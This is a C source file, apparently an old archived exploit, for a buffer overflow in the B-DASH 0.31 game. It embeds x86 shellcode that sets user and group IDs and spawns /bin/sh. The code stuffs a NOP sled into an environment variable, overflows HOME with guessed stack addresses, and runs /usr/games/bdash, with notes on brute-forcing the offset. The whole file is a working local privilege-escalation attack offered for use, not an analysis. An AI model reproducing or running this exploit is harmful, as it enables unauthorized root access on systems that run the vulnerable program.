/* * * B-DASH 0.31 buffer overflow * * by plaguez * dube0866@eurobretagne.fr * http://www.innu.org * * * compile: cc bdexp.c -o bdexp * exec: ./bdexp 8 * or ./bdexp 4 * or ./bdexp 24 ... * you may want to brute-force the offset (argv[1]) */ #include #include #include #define EGGSIZE 2048 char *shellcode = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04" "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb" "\xcd\x80/" "/bin/sh" "0"; unsigned long get_sp() { asm("movl %esp,%eax"); } char *buffer; char *egg; main(int argc,char **argv) { int i; int bsize=1124,offset; long *adpt; char *pt; if(argc!=2) { printf("\nusage %s ",argv[0]); exit(1); } offset=atoi(argv[1]); egg=(char *)malloc(EGGSIZE); buffer=(char *)malloc(bsize); pt=buffer; adpt=(long *) pt; for (i = 0; i <= bsize-4; i += 4) *(adpt++) = get_sp() - offset; memset(egg, 0x90,EGGSIZE); memcpy(&egg[EGGSIZE-strlen(shellcode)-2], shellcode, strlen(shellcode)); egg[EGGSIZE-1] = 0; setenv("BUFF",egg,1); setenv("HOME", buffer, 1); printf("\nb-dashing ...\n"); execl("/usr/games/bdash", "/usr/games/bdash", NULL); } /* www.hack.co.za [2000]*/